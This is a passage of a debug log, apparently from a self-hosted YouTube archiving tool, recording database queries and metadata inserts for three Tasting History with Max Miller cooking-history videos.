shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7349] 02:52:07.816 [debug] Current batch of media processed. Will check again in 1000ms 02:52:08.816 [debug] Current batch of media processed. Will check again in 1000ms 02:52:09.817 [debug] Current batch of media processed. Will check again in 1000ms 02:52:10.818 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1141, "filename" => "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].mp4", "id" => "J0OHUwVLPdM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=J0OHUwVLPdM", "playlist_index" => 11, "timestamp" => 1768320029, "title" => "The Pastry War - When France invaded Mexico over pastry", "upload_date" => "20260113"} 02:52:10.819 [debug] QUERY OK source="sources" db=0.1ms idle=1427.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:10.819 [debug] QUERY OK source="sources" db=0.1ms idle=1427.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:10.821 [debug] QUERY OK source="media_items" db=1.4ms idle=1428.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-13 16:00:29Z], 3] 02:52:10.826 [debug] QUERY OK source="media_items" db=4.5ms idle=1070.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "a8c47525-5252-46c4-a4a1-5268c932798e", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", false, 1141, false, 11, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].mp4", false, false, 3, [], 98, ~U[2026-01-13 16:00:29Z], ~U[2026-03-31 06:52:10Z], ~U[2026-03-31 06:52:10Z], "Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Pastry War - When France invaded Mexico over pastry", "J0OHUwVLPdM", "https://www.youtube.com/watch?v=J0OHUwVLPdM", 1141, false, "/downloads/Tasting History with Max Miller/2026-01-13 The Pastry War - When France invaded Mexico over pastry/The Pastry War - When France invaded Mexico over pastry [J0OHUwVLPdM].mp4", false, 3, ~U[2026-01-13 16:00:29Z]] 02:52:10.826 [debug] QUERY OK source="sources" db=0.1ms idle=73.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:10.827 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:10.827 [debug] QUERY OK source="media_items" db=0.2ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6875] 02:52:10.827 [debug] Current batch of media processed. Will check again in 1000ms 02:52:11.828 [debug] Current batch of media processed. Will check again in 1000ms 02:52:12.829 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/beefbourguignon\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "duration" => 1031, "filename" => "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].mp4", "id" => "cQYswc4-dvU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=cQYswc4-dvU", "playlist_index" => 12, "timestamp" => 1767715265, "title" => "Beef Bourguignon for the French Peasants from 1885", "upload_date" => "20260106"} 02:52:12.830 [debug] QUERY OK source="sources" db=0.2ms idle=438.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:12.830 [debug] QUERY OK source="sources" db=0.1ms idle=438.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:12.832 [debug] QUERY OK source="media_items" db=1.3ms idle=439.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-06 16:01:05Z], 3] 02:52:12.833 [debug] QUERY OK source="media_items" db=1.1ms idle=440.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/beefbourguignon\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "df39fdda-a5ff-4768-a39c-ed9005f5f461", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", false, 1031, false, 12, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].mp4", false, false, 3, [], 98, ~U[2026-01-06 16:01:05Z], ~U[2026-03-31 06:52:12Z], ~U[2026-03-31 06:52:12Z], "There’s no better time to try out Thrive Market! With their New Year Sale you’ll get 30% off top products PLUS when you use my link http://thrivemarket.com/MaxMiller you’ll get an extra 30% off your first order AND a FREE gift worth up to $60! Kickstart your new year & stock up now!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/beefbourguignon\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Beef Bourguignon for the French Peasants from 1885", "cQYswc4-dvU", "https://www.youtube.com/watch?v=cQYswc4-dvU", 1031, false, "/downloads/Tasting History with Max Miller/2026-01-06 Beef Bourguignon for the French Peasants from 1885/Beef Bourguignon for the French Peasants from 1885 [cQYswc4-dvU].mp4", false, 3, ~U[2026-01-06 16:01:05Z]] 02:52:12.834 [debug] QUERY OK source="sources" db=0.1ms idle=77.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:12.834 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:12.834 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6408] 02:52:12.834 [debug] Current batch of media processed. Will check again in 1000ms 02:52:13.835 [debug] Current batch of media processed. Will check again in 1000ms 02:52:14.836 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/romanporkandpuls\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4473978\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5264442\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14491607\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearmaturapress/4954020558/in/album-72157611387957648/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=77878033\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4719373\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons\n\n#tastinghistory", "duration" => 1036, "filename" => "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].mp4", "id" => "1fDKx1CgcXs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1fDKx1CgcXs", "playlist_index" => 13, "timestamp" => 1767110406, "title" => "Feeding A Roman Centurion - Pork & Puls", "upload_date" => "20251230"} 02:52:14.837 [debug] QUERY OK source="sources" db=0.2ms idle=445.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:52:14.837 [debug] QUERY OK source="sources" db=0.1ms idle=445.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:14.839 [debug] QUERY OK source="media_items" db=1.3ms idle=445.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-30 16:00:06Z], 3] 02:52:14.841 [debug] QUERY OK source="media_items" db=1.4ms idle=447.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/romanporkandpuls\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4473978\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5264442\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14491607\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearmaturapress/4954020558/in/album-72157611387957648/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=77878033\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4719373\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "077baad1-19b6-4081-b124-774ce075cb44", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", false, 1036, false, 13, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].mp4", false, false, 3, [], 98, ~U[2025-12-30 16:00:06Z], ~U[2026-03-31 06:52:14Z], ~U[2026-03-31 06:52:14Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/romanporkandpuls\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nApicius De Re Coquinaria - https://amzn.to/3MN5u2j\nGarum - https://amzn.to/49ilamR\nDefrutum - https://amzn.to/3MKu9Vc\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nLegionaries carrying pila - By CristianChirita - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4473978\nCorbulo - By Basvb - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5264442\nDocuments from Vindolanda - By Fæ, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=14491607\nVindolanda - By Mike Bishop - https://www.flickr.com/photos/thearmaturapress/4954020558/in/album-72157611387957648/, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=77878033\nGarum Bottle - By Claus Ableiter - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=4719373\nArte Romana, preparing food - I, Sailko, CC BY-SA 3.0 https://creativecommons.org/licenses/by-sa/3.0, via Wikimedia Commons\n\n#tastinghistory", "Feeding A Roman Centurion - Pork & Puls", "1fDKx1CgcXs", "https://www.youtube.com/watch?v=1fDKx1CgcXs", 1036, false, "/downloads/Tasting History with Max Miller/2025-12-30 Feeding A Roman Centurion - Pork & Puls/Feeding A Roman Centurion - Pork & Puls [1fDKx1CgcXs].mp4", false, 3, ~U[2025-12-30 16:00:06Z]] 02:52:14.841 [debug] QUERY OK source="sources" db=0.1ms idle=81.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:14.841 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:52:14.842 [debug] QUERY OK source="media_items" db=0.2ms 